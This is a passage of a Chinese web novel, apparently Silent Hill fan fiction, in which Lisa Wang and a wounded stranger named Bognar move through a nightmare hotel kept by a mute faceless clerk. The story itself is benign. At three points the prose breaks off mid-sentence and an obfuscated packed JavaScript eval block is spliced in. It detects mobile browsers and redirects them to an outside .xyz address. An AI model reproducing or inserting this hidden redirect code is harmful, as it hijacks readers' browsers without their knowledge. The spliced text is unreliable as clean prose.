“小狗!”我小声的呵斥。小狗朝我的方向转了下脑袋,四只脚却一动也不动。虽然距离很远,但我发现了它的嘴角有些湿润,似乎是……口津液。 它谗瘾又犯了! “不可以!”我尽可能的压低声音,“不能吃!快点过来!” 小狗终于动了,却只是挪了两公分而已,然后就继续坐在那,一脸渴望的望着我。 我心里恼火,却不敢大声,担心把沙发上的人吵醒。他估计只是一个普通人,看到小狗后魂都得吓飞。 “小狗!”我气愤不已,这是它第一次不听话。 沙发上的人突然发出了苏醒前的闷哼声,我立刻安静下来,眼睛落在他的身上观察,双手却不断的朝小狗挥着。 过来!快过来! 小狗不仅没理我,反而慢悠悠的走上前,用不断滴着口水的嘴巴贴近,细细嗅他。 “不许……” “啊啊啊啊啊啊——!” 男子似乎苏醒了,发出一声撕心裂肺的惨叫后,摔下了沙发,然后不知道撞到哪了,又痛叫一声。 男子捂住自己的后股一边爬一边挥手,“走开!走开!” 我也奔了过去,扯着小狗的尾巴拼命向后拖。在两者有了一大段距离后,男子的情绪才终于稳定下来,但仍然时不时一个哆嗦。他蜷缩在角落里,死死地盯着不远处的小狗,“什么鬼玩意……” 他的右手正缓缓朝衣服里伸去,握住了什么后往外抽离。我察觉到不对,怀疑那是什么杀伤性武器,赶忙往小狗身前一站,“你放心,它只是好奇比较而已,不会伤害你的。” 我顿了顿,坦白它的身份,“它的名字叫狗狗,是我的宠物。” 男子一愣,“宠物?” 他嫌弃地龇牙咧嘴:“有病啊,养的什么鬼玩意?”虽是这么说,但他的身体明显放松了,衣服里的那只手也就这样取了出来,随意的搭在地上。没想到他接受能力还挺强。 我走上前向他伸出手,“你好,我叫王,丽莎·王。” “你是误入这里的?”男人抬眸挑眉看我。 “嗯……算不上……” “看来不是的。”男子笑了笑,握住我的手,“你好,初次见面,我叫艾尔韦·博格纳……” 他突然紧握住我的手,向后一拉。我身体失去平衡,站不稳差点摔倒,博格纳却已经从半躺在地变为站起,还顺便扶住我的肩膀。“小心。”他拍了拍我的肩,退后一步。 我扶住一旁的沙发稳住身形,“谢谢。” 他只是单纯借个力而已,可惜借错人了。 小狗还在他身边绕了绕去,时不时嗅一嗅。我阻止它:“不能这样,没礼貌。” “可能是因为这个吧?”博格纳掀开衣服漏出里面带着血的纱布,“小动物都对血腥味感兴趣。” 他说:“这里真是太凶险了,我肚子上的伤就是拜那些怪物所赐。” 怪物?我想了想那些毫无攻击力的裹尸袋,它们哪来的伤人能力难不成……“你进红门了吗?”我问。 “没有。”他疑惑地问:“红门是什么?” 我不知道该怎么形容,只能大致地把自己的经历叙述了一遍。博格纳听后诺有所思的点了点头,“我大概明白了。” 看着眼前的男人,我竟然有些怜悯。面对裹尸袋竟然还能受伤,他到底得有多弱。我从背包里拿出一把小型匕首递给他,反正我带了好几把,送人一把也没关系。 “给你防身的。”我说。 博格纳看着躺在我手心里的匕首愣了好久,也不知道在想什么。“不需要吗?”我问。 “不不不。”他摆了摆手,不知道是不是错觉,他好像在憋笑,“这么迷你的匕首比较适合像你这样的女孩子,况且我有更好的——” 他从衣服里侧取出一个黑色的“L”型大铁块,是把枪。 他手里的确实比我的这把小破刀好用很多……但他既然有这么好用的武器竟然还会受伤,我对他的战斗力又有了新的认知。 “其实我有些好奇,你为什么会来寂静岭。”他摩擦着下巴一脸好奇地问我:“你看上去不像是……适合来这里的人。” 我奇怪:“为什么?”他能来为什么我不能来,我们两个有什么区别吗,明明都是一个鼻子两只耳朵。 “那你杀过人吗?”他冷不丁来了一句。 我一愣:“没有。” 他挑了挑眉,一副看吧的模样。我感觉受到了蔑视,当然也称不上蔑视,只是被小看了而已,他把我当成一个纯粹没事找事跑来追求刺激的小屁孩。我解释道:“我是来这里治病的。” 我点了点太阳穴,“我这里有毛病,不仅患有精神分裂还有失忆症。一位叔叔建议我来寂静岭,说这里可以治好我的病。” “叔叔?”博格纳皱眉,“什么乱七八糟的叔叔。我劝你以后还是离他远点吧,居然建议你来寂静岭,一听就知道不是什么好人。” 他拍了拍我的肩,“这里不是你该来的地方。你知道出现在寂静岭的都是什么家伙吗?要么恶念满贯,要么是亡命之徒,这些家伙会在这里看到内心深处的阴暗,如果无法突破阻碍则会被自己吞噬掉。普通人还是不要随意来这里的好,就算心里纯善但不代表不会被影响,到时候就迟了。” 听着他絮絮叨叨老半天,我才弄清楚来龙去脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988164|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。博格纳的意思是寂静岭不是一个普通的度假村,反而和传说中一样是个闹鬼之地,但凡心有恶念或者手上沾过人命的都会在这里得到应有惩罚……惩罚?这个形容不知道准不准确。总而言之,判断是不是好人的其中一点就是能不能看见处在寂静岭里的怪物。 我说:“可我也能看见啊。” 博格纳没想到我会来这样一句,他停顿片刻,还是说道:“看得见不一定代表你是坏人。总之这不是你该呆的地方,快些回去吧。” 说完,他又一屁股坐回沙放上闭目养神了。 “好吧。”我说:“但现在天黑了,我得先找个地方休息……这里安全吗?” 博格纳躺着应了个声:“还行。但你最好找个密闭的房间,房门带锁的那种,可以去楼上看看。” “谢谢。” 之后博格纳就没再理我了,他似乎很疲惫,身上本来就带伤又和我聊了这么久,体力耗尽。走之前我送了他一瓶能量饮量,这是最后一瓶,好在我除此之外仍有不少物资,反倒是博格纳,两手空空,除了把枪什么都没有。他接过后说了声谢谢,但瓶子一直握在手里,直到我离开也没见他喝一口。 他在提防。情有可原,毕竟十岁小孩都知道不能随便喝陌生人给的东西。 我顺着楼梯上楼。二楼的灯也是亮的,走廊两侧是一扇扇门,分别试了试,发现都是锁着的。我想起前台应该有钥匙,便下了楼。 刚回到一楼就听到安静地大厅内回荡着鼾声,博格纳又睡着了,睡眠真好,我不禁羡慕。为了不打扰他,我尽量放轻动作,随手挑了把钥匙就蹑手蹑脚的走了。 打开门,我发现房间的环境不错,这么长时间无人踏及,还很干净,不仅地摊上没有灰尘,天花板的墙角也没有天花板。我将旅行包放在沙发椅上,朝床铺躺了上去。被单上有一个浓浓的消毒水味,很刺鼻,但至少代表是绝对干净的。 精神得到放松,我回忆着博格纳的话。回去……要回去吗?我侧过脑袋看小狗,它仰面躺在另一张床上。它的身形和普通的哺乳动物很像,平日里都是四脚着地的,如今像人一样面朝上睡觉格外滑稽,我没忍住笑出了声。 小狗听到动静后抬头,“噫?” “没事。”我摇了摇头,“你继续休息吧。” 只因为这个突如其来的打岔,我坚定了继续下去的想法。既然一开始打定主意要寻找记忆那就得坚持,前功尽弃怎么能行。 . 我是被太阳照醒的,阳光透过薄薄的纱帘子照耀进屋内。小狗已经醒了,但它没有喊我,而是趴在地毯上晒太阳。大清早的,太阳居然这么烈?我去看墙上的钟。 谢天谢地,虽然我从外面带来的手表停止了走动,但是房间里的挂钟是好的,指针照常走动,不受一点影响。现在是十一点零五分。我居然一觉睡到大中午,看来昨天确实是累的慌。 我下床穿外套,“准备一下,我们要继续赶路了。” 小狗爬了起来,抖了抖身子,然后去把旅行包叼到我面前。“好孩子。”我拍了拍它的脑袋,背上包打开房门。 再次来到寂静岭后,一路都非常顺畅。但事实证明,就像一条畅通无阻的道路总有某一段堵地令人心力衰竭。没错,总有些跟头在等着我。 在我一条腿即将踏上门外地面的那一刻——房门变成了红色,而门外的则由安静的走廊变成了昏暗的血腥之地。我一个急刹车打住,企图退回去,可红门竟然动了起来,抵着背部硬生生将我推进了门内。 伴随着门合上时的轻响,我眼前一黑。 完蛋了。 11. 第 11 章 地面和墙壁上全是血污和锈斑,我原来的那间房屋的门自从关上后就再也打不来,哪怕插|进钥匙左扭右扭也无济于事。一开始我以为是门锁里的被恶作剧堵了什么东西,低头一看才发现锁和原来的不一样了。 手里的钥匙失去了任何作用,我只好把它放进口袋。 接下来当务之急是赶紧找到红门出去,我打着手电筒在走廊里一面门一面门的查看,有时候还转一转把手。红门真是永远都会给我惊喜,永远都不会令我感到无趣,天知道它会从什么地方出现把我骗进这个鬼地方,然后就像玩捉迷藏一样迟迟不肯现身,非要我拼劲全力去寻找。 这层楼没有找到红门,我站在楼梯间向上观望。手电筒的光照有限,只能照亮前方的一点,更上方的楼梯隐入黑暗之中,什么也看不见。 二楼往上我哪怕在门外的世界都没有去过,并不了解,更何况如今处在这种境地,小狗又不在身边,我最好不要去冒险。这么想着,我转身去了一楼。 大厅里面也是一片漆黑。如我所料,沙发上没有博格纳,进入了红门以后,除了我以外的人都会消失不见…… 但如果是与我一同进入红门呢?我思索,又或者是从另一个红门进入,毕竟谁说红门只能有一个。 人想象不到自己没见过的事,这个猜想也只能止步于此,无法再伸入。我换了只手拿手电筒,又甩了甩有些发酸的右胳膊,一直用这只手举着手电筒,有些缺血。 我接着搜查大厅—— “啊!”手电筒的光抖了两下,我捂着胸口惊魂未定。光柱照耀的方向是大厅前台,那里不知道什么时候站了一个人……不知道能不能称之为人,他身姿挺拔,脸上盖着一张白纸,把整张脸都遮住了,上面画着一个简笔笑脸。 无脸人朝我挥了挥手,每一个挥舞地动作都极其标准,连角度都一模一样。他挥手的动作又停止了,五指并起向柜台上一伸,好像在示意我。 我咽了下唾沫,握紧口袋里的小刀,小心翼翼地走上前。他所指向的是放在桌面上的一张登记单。我提笔签下自己的名字—— 丽莎·王。 登记单旁边有一张叠了一半的折纸,像是无聊的时候打发时间,但见人来了就赶忙放下。我瞥了一眼,没在意。 签完字后,无脸人向我伸出手,似乎在讨要什么。 “我没有你想要的东西。”我说。 无脸人依然保持着伸手的动作。我想了想,把口袋里那把早已没用了的204钥匙放在他的手心。他握紧了钥匙,手伸到柜台底下,不出片刻又拿出一把204房间钥匙。两把钥匙之间的区别这把金属的钥匙头是十字型,之前的那把是平面竖型。 我谨慎地拿过,检查一番,发现这真的只是一把普通的钥匙,没什么特别的。 鉴于我的初步判断,这个无脸人似乎没什么危险,对我也没有表现出任何攻击性。我尝试询问:“你知不知道那里有红色的门?” 他一言不发,纸上画着的表情微笑,有点滑稽。 我补充道:“通体暗红色的门,油漆刷的很好的那种。” 他仍然没有任何反应。我只得放弃。 我正打算离开,无脸人突然拦住了我,然后曲起指节敲了背后的墙面。手电筒光柱照上去,我发现那是一则规定,大概是晚上早上六点前晚上六点以后禁止离开房间,上午六点到七点吃早饭,下午四点到六点吃晚饭一类。里面提到没有午饭,但我根本不会吃这里的东西,自然也没有问的必要。 “我明白了。”我说。 我正转身要走,无脸人举起一本册子,上面写着——一定要遵守。 原来不是不理我,而是因为他是个哑巴。我抱着一线希望又问:“那……请问这里有红门吗?” 他放下了册子,面带微笑却不回应。很好,他就是不想理我。 我叹了口气,拿起钥匙离开了。 . 我来到204房门前,将钥匙插|进锁孔,门轻而易举的打开。而门后的空间也没有辜负我的期待,又脏又乱,除了血污就是锈斑,还有一大堆乱七八糟的杂物围在床边。我好不容易才扒拉出一把椅子坐下,开始分析现状。 规定上说早上六点前和晚上六点以后禁止离开房间,那该怎么知道准确时间,我的手表自从进入寂静岭以后就像船只误入百慕大三角,指针停止走动。 正想着,耳边听到咔哒咔哒的声音,抬头一看,墙上正挂着一面挂钟。挂钟指针走动,看起来是好的,我松了口气。可刚放轻松没多久,就看到挂钟的时针指向六的方向,分针接近十二,而秒针正一格一格的跳着走,逐渐与即将搭上十二的分钟重合。 与此同时,我猛地看向门的位置。有人在敲门。 门上没有猫眼,我看不到门外的情形,选择无动于衷。敲门的声音持续了差不多一分多钟左右才停止,我又在原地静静地坐了一会,才起身走到窗边拉开窗帘。 窗外是一片漆黑,黑到不见五指的那种,就像黎明前的黑夜。我在庆幸自己没有开门的同时又觉得疑惑,堪堪到达六点而已,天色竟然就黑的这么彻底了? 突然,敲门声又响了起来,我身体一顿,僵在那不敢动。过了好一会声音又停下了,一张类似于卡片的东西从门缝被塞了进来。卡片是正面朝上,字迹清晰能够一眼辨认出来写了什么——请放心,现在是早上六点。 落款,本店负责人。 我又回头看了一眼乌漆麻黑的窗外。只要不离开房门就可以,又没说不能开门。我犹豫了一会,一手握着小匕首,一手按动门把手。 门外的家伙是无脸人,白纸上画着的表情仍然是微笑着的。他抬起手朝了我打了个手势招呼,然后举起写字册。 [打扰了。] 我问:“请问有什么事吗?” 他手中写字册翻过一页,[早餐开始了,可以下楼用膳了。] “不用了,谢谢。”我婉拒道。 [好的,我明白了。]他合上了册子,朝我微微鞠了一躬,就转身离开了。 本以为他会劝说我去吃早饭,或者什么不吃早饭违反规定……居然这么好说话?我摸了摸下巴,问:“请问该怎么辨认时间,如果按你说的现在是早上六点,那为什么天是黑的?” 他转过身。 [这里不存在白天,只有永久的黑夜。如果想要知道准确时间,可以来找我。] 我点了点头,不死心的又道:“红门……”红门这两个字刚出口,他头也不回的就走了,速度之快就像是有什么猛兽在追赶一样。 ……… 红门到底怎么他了,如果不知道直说不就好了。 他离开了以后,我也走出了房门。想起来二楼往上的空间我还没有去过,这个酒店太简陋了,连电梯也没有,每个楼层也没有标识。我爬上了三楼,这里的布局和二楼一模一样,只不过房间门的颜色稍微深一些。 我尝试着开门,这一层楼的门都是锁着的,估计钥匙都在无脸人那边。我又上了四楼,四楼是最顶层,在往上就没有楼层了。我在四楼晃悠了一圈,从这头到那头,再从那头走到这头,还是一无所获。 突然一扇门开了,我被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988165|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓了一跳,连忙关了手电筒。黑暗中我听见脚步声越来越远,似乎走到楼梯那里,下楼了。 我重新打开手电筒,光柱照亮眼前的一切。地上铺着的是毛绒地毯,那种细细的毛绒,手指划在上面会留下痕迹,但如果再往反方向抹动,痕迹就会消失。 地摊上有两串脚印,一串比较小,鞋头鞋跟之间是空的(我穿的是带跟的鞋),另一串稍大一些,鞋底平坦。我观察了一下,通过鞋码判断出对方的个字应该挺高。 不管对方到底是人是鬼,我都不想与他碰上面。 走廊以及大厅里并没有我想要的红门,我也不可能去大厅偷钥匙把这些酒店门一扇扇打开检查。先不说无脸人会不会同意,就刚才来看,这些屋子里是有住户的。我如果这么做实在太冒险,保不齐会把自己赔进去。 我打算去外面看看,毕竟当时在游乐园的时候,那扇红门不就是在楼房外面吗。估计和上次一样,需要什么特定的手段和方法。我回忆着那时后的情形,从高空下坠的感觉令我背后发凉。 难不成也要像上次一样从楼上跳下去?我拉开楼道一侧的窗户,探头出去。 还是和之前一样,外面漆黑一片什么都看不见。我的身子向外更倾了一些,膝盖曲起搭在窗沿上。那漆黑的一片中,似乎有些什么,像是隐藏在黑夜里的蝙蝠、鬼怪,粘稠的,阴暗的…… 我突然被向后一拉,身体失重,我下意识护住后脑。 后背靠上算不上坚硬的“墙壁”,我转回头,好巧不巧背后的家伙是无脸人。从这角度,我看见白纸和他脸庞之间的一丝缝隙…… 写字册挡住了我窥探的视线,[本店禁止跳楼。] 他翻过一页,[违者后果自负。] …… “我没跳楼。”我解释,“只是想看看窗外。” [您几乎要掉下去了。请随时注意自身安全。还有,您的楼层在二楼。] 无脸人合上写字册,侧开身子右臂上举掌心向前一摊。 我顺他的意,“我这就走。” . 我打算去外面看看。透过窗户,酒店外面黑到令人心里发毛,手电筒的灯光照进去很快就被黑暗吞噬殆尽。最危险的地方就是最安全的,虽然不知道这话出自谁的口,但还挺有道理的。 来到大厅,这里还是和印象里一样阴森空荡。前台没有人,无脸人不知道去哪了。 我四下看了看,绕到柜台后方。柜台后面和前面一样都是块木板,既没有抽屉也没有任何可以防止东西的地方。 没有钥匙,其他有意义的东西也没有,一无所获。 蹲了太久两腿发麻,我两手撑着台面两端艰难站起……无脸男就站在对面。 他就像鬼一样,我硬生生将差点脱口而出的尖叫咽回肚子里,强撑着弯起嘴角装作若无其事,“你好。” 无脸男问我:[您需要帮助吗?] 我努力平稳了一下自己的心神,闭着眼睛点了点头,“我……我的房门钥匙丢了。” 半天没听到动静,我睁开了眼睛,写字册早就翻到下一页了。 [每间房的钥匙只有一把,没有多余。] 那该怎么办?难道我要风餐露宿一晚上?当然这个问题没问出口,毕竟我的钥匙有没真的掉。我本来想打个哈哈过去,没想到无脸男竟然认真起来。 不等腿上的麻意过去,我强忍着酸麻感一点点挪出柜台,“既然这样,那就不麻烦了……” 刷刷的写字声打断我,他举起册本,[不能让您没有居住的地方。这样吧,您住我的房间。] 12. 第 12 章 无脸男打开门,一间看上去不大,昏暗但整洁的屋子呈现在眼前。屋里的家具摆放整齐,就连衣架上的衣服都按照统一标准挂起,能看出屋主人的讲究程度……通俗点讲,就是强迫症。我注意到玄关旁鞋柜上摆放着的几瓶酒精和消毒液。 不仅有强迫症还有洁癖,这点和我挺像。 但他把自己的房间给我,那他住哪里。我还没有来得及问,他就将钥匙交给我,然后微微欠身退出了房间,独留我一人。 我对目前的情况不知所措,一边在大脑里面理着信息,一边在就近的沙发椅上坐下。刚坐下,我就瞪大了双眼。这沙发……太柔软了,就连我昨晚凑合休息用的床都没这么舒适。 可惜现在没时间给我享受,我强行把自己从沙发上剥离开,在房间里检查起来。 这屋子和酒店的普通标间差不多,一间卧室再加上一间洗漱区就是全部了,客厅和卧室同在一间,再次就干脆使用卧室统一称呼。 衣柜里是空的,床头柜只有第一层抽屉里有两瓶未开封的矿泉水。我拿起一看,没有听说过的牌子,但既然是密封着的,问题应该不大。我拧开瓶盖微抿了一口,润湿干涩的嘴唇,不知道是不是因为太久没有饮水的缘故,刚喝下去时竟然感觉到微甜。 我觉得自己的胆子简直大的吓人,连这种来历不明的水也敢喝。人的下限是可以被突破的,就像现在的我因为太渴而敢喝房里的密封矿泉水,也许等我包里的应急食物吃完了,我甚至能愿意入口这里的食物。 除了水就没有其他东西了……哦,墙上还有一个挂钟,秒针走的飞快,也许是坏掉了,我只瞥了一眼就移开视线。 这里没有红门,所以我还得去外面看看。 我刚打开封门准备出去,却迎面和无脸人撞上了。他的手里端着一个盘子,里面放有两片面包个一杯牛奶。 他问:[您要出去吗?] “是……”我硬着头皮说。 [去酒店外面?] 我不知道他是怎么猜到的,但为了安全起见,我决定闭口不谈。 见我不说话,他迈开细长的腿走进房内,为了不与他贴太近,我被迫连续退后两步。他反手带上房门,隔绝了外面的一切,这个空间里只剩我们两个了,我紧张起来。 他倒是没做什么只是将盘子抵到我的面前。我连连摆手,“不了,谢谢。我不……我暂时不饿。” 无脸人收回盘子转身面向墙壁,我正好奇,突然墙壁张开一张大嘴,无脸人连食物代餐聚一起扔了进去。大嘴吧唧吧唧的咀嚼起来,头顶上方又出现了一只红色的眼睛,像是灯一样发着红光将屋里照亮,血腥又诡异。 眼珠滴溜滴溜的转了两圈,然后定格在我的身上。我被吓的一个哆嗦,墙壁上的大嘴咧嘴一笑,露出白森森的门牙。 下一秒,嘴巴和眼睛一起消失了。 无脸人从身后取出了一本写字册……说真的,我不知道他到底从哪里拿出来这么大一本册子,他身上的西装口袋那么小,又没有被其余的收纳物。 [您一定要出去?] 他问我。 倒不是一定……如果能确定红门在酒店里面,我肯定用不着出去。但鉴于先前我向他询问红门消息时每次都碰了一鼻子灰,我避开了红门的话题,“对,我要找红门。” 他思索片刻:[一定要找到红门吗?] 这是肯定的,我点头。 [为什么?] 因为我要离开这个鬼地方,脑海里浮现出小狗的脸,因为有人在等我。但这次我没有说实话:“不为什么。” 他看上去若有所思,我有些紧张。我并不知道红门对于他或者这个世界而言意味着什么,如果不清楚还好,但如果红门对他们意义非常,比如从红门那里来到这个世界的人必死无疑之类,那可就麻烦了。 好在无脸人并没有多问,只告诉我:[外面很危险,为了您的安全,我陪您一起去吧。] . 酒店外面安不安全暂且不谈,和无脸人待在一起我真的很慌张,毕竟对于前方的未知,无脸人更令我恐惧,我不知道他到底是不是安全的。周围一片漆黑,哪怕打着手电筒都没有用。我能听见无脸人的脚步声,他确实一直跟着我。 地面都是未加工过的泥土你,杂草丛生。有的草甚至几乎和我的膝盖一样,边缘带着锋利的锯齿,幸好我穿的是长裤,否则皮肤肯定会被割破。我很奇怪,这鬼地方不存在白天只有永久的黑夜,这些植物没有阳光到底是怎么生长的。 果然这不是一个正常的世界。 再继续往前,杂草从大片高高的草丛变成了只有几根鹤立鸡群,其余都是短胡茬式的扎根在地上,脚踩过的时候会发出咯吱咯吱的声响,它们也像胡茬一样坚硬,哪怕脚反复碾压,拿开后反弹恢复直立着的原样。 我突然感觉到有一阵风,拂过的时候就像丝绸抚摸我的脸庞,虽然是微弱的风,但我仍然感觉到了。风吹来的方向是前方。经过我的观察,这个世界本应该不存在风啊雨啊等自然现象,但当挥动手臂的时候仍然能造成微弱的风。我直勾勾地盯着前方未被光柱照亮的黑暗,那里有什么…… 一根手臂横在身前,我有些不满,正想说让开,无脸人掏出一块怀表举到我的眼前,拇指按着顶端的柄部,咔哒一声怀表打开了,表盘上的指针正在飞速旋转,我一眼就看到最短的指针已经临近“六”。明明只感觉刚过去两三个小时而已……前不久还是早上六七点左右,现在就临近晚上了?我狐疑地看向无脸人。 [时间不早,我们该回去了。] 似乎担心我忘了酒店规定,他提醒道:[晚上六点后不得离开酒店房间。] “你的表是不是有什么问题?”我合理的发出疑问,“你看表盘的指针转的这么快,而且我明明记得……” 我突然哑了声,因为我回忆起离开房间时墙上挂钟指针的不寻常。 [时间不等人。]他告诉我。 我想得到的是一个合理解释,比如为什么时间回归的这么快,又比如这个世界的钟是不是有问题,而他给我的算什么狗屁解释。但没办法,我对这里并不熟悉,最好还是听从。我跟着他回了酒店。 回去的路上我一步三回头,时不时看向身后的黑暗。那里似乎有什么东西在吸引着我,令我无法控制地想要靠近,但同时脑海里又有一个声音再说—— 不能去。 除非你期望直面恐惧。 在距离晚上六点钟还有一分钟,我回到了房间……无脸人的房间,我想夸他心地善良但又担心其中有什么阴谋,这个想法刚冒出头我又觉得自己内心阴暗,不管怎么说对方确实是出于好心……是不是真的好心也说不准,或许他真的…… 我快疯了。到目前为止无脸人没有做过任何想要谋害的我事情,我却一直在怀疑他。愧疚倒是没有,只是真心希望我的精神病又延伸出一项名为被害妄想症的疾病而不是潜意识里发现不对劲,毕竟前者只会令我神经衰弱后者则真的会丧命。 [祝您拥有一个美好的夜晚。]为我展示完这句话后他就要关上房门。 “等等!”我说。 他动作一顿。 我左手插在口袋里,指腹不断摩擦着放在里面的钥匙,以及它上面刻着的204数字,“我住在这里……你怎么办?”我并不是在关心他,只是想知道他的踪迹,以此防范。 [不用担心。]他脸上的简笔画笑脸没有变化,不知为何我却感觉他的笑容变大了一些,[我的职责令我不受伤害。] [你真是真是一个心善的人。]他缓缓合上门,最后在只留有一扇缝隙的时候,他歪了歪脑袋,[那么,晚安。] 心善啊……他可真是想多了。 门关上后,屋内陷入了死一般的寂静。灯是坏的,我打着电筒看墙上的挂钟,三根指针的转动竟然恢复了正常。莫名其妙,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988166|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白天”走的那么快,到夜里了,反而正常起来。 从昨天到现在我什么都没有吃,肚子饿得发慌。我打开旅行包,从里面翻找出压缩饼干。应急食物有限,我带的并不多,特别是水。我本来以为寂静岭里总会有水的,比如小溪小河这种,到时候用空瓶子接一点就行,可我到现在都没有遇见。 看着空荡荡瓶子,我将注意打到了洗漱间里。那里面的水很轻,但不知道能不嫩入口。 我拧开水龙头,流出的水很清,凑近嗅的时候也闻不到铁锈味。我用手掬了一点送入口中,和普通的水差不多,带一点消毒水味…… 咚咚咚。 我探出头看向房间门的方向,有人在敲门。过了一会敲门声停下了,门缝里被塞进来一张纸。 ——请放心,是我。 无脸人,是他的字迹。几番犹豫后我打开了门,最先看到的是贴在他脸上那张纸上的简笔笑脸,然后是他手里捧着的一瓶矿泉水。他将矿泉水递给我,然后微微一鞠躬就走了,什么也没说。 他怎么知道我要喝水的? 我观察着手里的矿泉水,瓶口的密封条完好无损,没有开封过。我拧开瓶盖放在鼻下吻了吻,没有味道,然后我倒出一点尝了一口,很普通的水。我放下心来,就这它吃了一点压缩饼干。 就像之前说的,我带来的应急食物有限,所以不敢吃太多,以至于肚子里还是有一点空荡荡的。避免浪费体力我躺在床上,脑子里却一直在转。 接下来该怎么办? 我想到之前在酒店外面时感受到的风。红门会不会就藏在黑暗深处?我翻了个身,无脸人以着黑暗深处有危险的理由一直跟着我,刚才又说临近晚上六点要求我回酒店……如果他不知道红门存在,那么这一切都可以解释为他单纯为我好,但如果他知晓红门…… 他到底是好是坏?我能不能相信他? 也许是舒适的环境加持,长时间的精神紧绷终于迎来反噬,我枕着柔软的枕头,床单以及枕套上是熟悉的味道。不知不觉间,我坠入了梦乡。 “哈……咳……” 早年在精神病院的时候,我有在睡觉时不自觉闭气的习惯。要不是每晚都有护士查房,我都在睡梦间死了好几次了。这个坏毛病早就被医生强行治好了,但不知道为什么会突然再犯。我仰面躺在床上大口喘着气,衣服被汗水湿透紧贴在身上,眼前一片模糊,好半天才清明。 我扯了扯衣领散热,单手撑着床坐起来靠在枕头上—— 一只偌大的红色眼睛在与床脚平行的墙壁上,我几乎是呼吸一滞,吓得不敢出声。 大眼睛眨巴了一下,然后微微眯起像是对我笑了笑,紧接着消失不见。 什么鬼……我惊魂未定。这只眼睛我有印象,无脸人将食物丢进墙壁上的嘴巴里时曾出现过。当时我是什么反应?只是惊吓而已。天,我竟然只是惊吓,感叹一句这间房的不对劲就完事了。一间正常的屋子墙壁上会出现眼睛和嘴巴,无脸人把我带进了什么鬼地方?! 我抱紧膝盖,大脑混乱。明天早上一定得让无脸人给我换一间房。 咚咚咚——! “开门!” 声音从门外传来,我先被声音喊回魂吓得四处找武器,然后才反应过来门外传来的是人声。无脸人不会说话,肯定不是他。 外面的家伙过了好一会终于安静下来,我松了一口气,但很快心脏又提了起来,因为那家伙再撬锁! 我立刻翻身下床从包里摸索出小刀来,压低身体躲在床后,只探出两只眼睛观察。门锁在发出咔哒咔哒几声后,我看到把手向下一扭,门开了! 一只黑色的长靴率先迈了进来,“别躲了,我知道这里有人!” 眼神逐渐向上,蓝色长裤,黑色冲锋衣……艾尔韦·博格纳?! “是你?!”我惊讶道,从床后面爬了起来。 博格纳也惊讶:“丽莎?!原来是你!” 13. 第 13 章 我怎么都想不到会在这里碰见博格纳,毕竟他连红门也没有听说过,我并没有预料到他也会出现在这个世界。 也许是因为吊桥效应加持,我们两个家伙只见过两面的家伙关系陡然拉进,甚至开始畅谈起来。 “你是怎么来到这里的?”我问他:“你也进了红门?” “红门?” 他一脸奇怪的重复这两个字,否认道:“没有,我甚至没有穿过什么门,躺在沙发上连动都没动,一直在睡大觉。” “那你……” “我在睡梦中被一阵刺耳的警报声吵醒,睁开眼睛就在这里了。” 他找了个地方坐下,“我在这个破酒店里到处找出去的办法,结果无意间看到了你……” 说到这他顿了顿,“其实我想喊你的,但你一直在对着空气自言自语,还动不动惊恐地到处乱跑。我不知道什么情况,只敢偷偷跟着你。” 对着空气自言自语?我明明一直在跟无脸人说话,哪来的自言自语。 博格纳吐了一口气,左看看右看看,“你家那小怪……宠物呢?” “它不在这里。” 他点头,又摸了摸喉咙,“你这里有水吗,我快渴死了。” 我取出装水的瓶子,“你最好省着一点,我也只剩这点了了。” “饮料呢?” “那是最后一瓶。” “好吧。”他接过水瓶,不费吹灰之力拧开了盖子。我想提醒他别对着嘴,可还没说出口,他就咕噜咕噜灌了好几口。喝完后他一抹唇将瓶子还给我,“放心吧,没喝完,还剩一半多呢。” 我看着被他嘴对嘴喝过的瓶子,一阵难以抑制的嫌恶感涌上心头。哪怕渴死,我都不会再用这个瓶子喝水!除非用清洗液将它里里外外洗干净! “你接下来打算怎么办?”他问我。 我把瓶子放在床头柜上,打算一会洗,“等‘天亮’以后找离开的办法,我觉得出口在酒店外面。” “天亮?” “就是早上六点钟以后……” 博格纳笑道:“我看到那张公告了,不过都是忽悠人的东西,你竟然还真信了。” “我们进来的方法不一样,会不会出去的方法估计也不同……还是快点去找找,反正天永远也不会亮,别耽误时间了。”他拍了拍裤子站起身,手握住把手下拧打开房门。 “等等!”我喊住他,博格纳已经一脚踏出房门了,听见声音后疑惑地看向我。 我心里牢记着无脸男的嘱咐:“在‘天亮’之前不能离开房间,否则会遇到危险!” 他笑了:“都说了公告上全是假的,我从踏入这间房之前一直在走廊大厅晃悠,哪有什么危险。” 